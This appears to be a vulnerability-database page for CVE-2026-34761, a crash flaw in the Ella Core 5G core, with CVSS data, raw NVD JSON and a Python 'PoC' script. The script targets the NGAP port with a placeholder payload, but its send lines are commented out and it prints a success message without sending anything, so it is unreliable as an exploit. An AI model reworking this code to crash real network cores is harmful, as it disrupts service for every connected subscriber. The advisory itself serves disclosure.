Security Vulnerability Report
中文
CVE-2026-34761 CVSS 5.8 MEDIUM

CVE-2026-34761

Published: 2026-04-02 20:16:26
Last Modified: 2026-04-07 16:51:36

Description

Ella Core is a 5G core designed for private networks. Prior to version 1.8.0, Ella Core panics when processing a NGAP handover failure message. An attacker able to cause a gNodeB to send NGAP handover failure messages to Ella Core can crash the process, causing service disruption for all connected subscribers. This issue has been patched in version 1.8.0.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:* - VULNERABLE
Ella Core < 1.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target Ella Core configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Default NGAP port (SCTP), simulation only # Simulated NGAP Handover Failure Payload # Intended to trigger panic in Ella Core < 1.8.0 # In a real scenario, this requires valid ASN.1 encoded NGAP structure PAYLOAD = b"\x00\x0d\x40" + b"A" * 100 def send_exploit(): try: print(f"[*] Sending malicious NGAP Handover Failure message to {TARGET_IP}:{TARGET_PORT}...") # Note: Real NGAP runs over SCTP. This is a TCP/UDP simulation for concept demonstration. # Actual exploitation requires crafting valid ASN.1 PER encoded NGAP messages. # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((TARGET_IP, TARGET_PORT)) # sock.send(PAYLOAD) # sock.close() print("[+] Exploit sent. If successful, Ella Core should panic.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34761", "sourceIdentifier": "[email protected]", "published": "2026-04-02T20:16:25.747", "lastModified": "2026-04-07T16:51:35.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ella Core is a 5G core designed for private networks. Prior to version 1.8.0, Ella Core panics when processing a NGAP handover failure message. An attacker able to cause a gNodeB to send NGAP handover failure messages to Ella Core can crash the process, causing service disruption for all connected subscribers. This issue has been patched in version 1.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.0", "matchCriteriaId": "F79EF764-4DAE-481E-9B49-974F342B1860"}]}]}], "references": [{"url": "https://github.com/ellanetworks/core/releases/tag/v1.8.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-6gm8-3g4h-w82m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}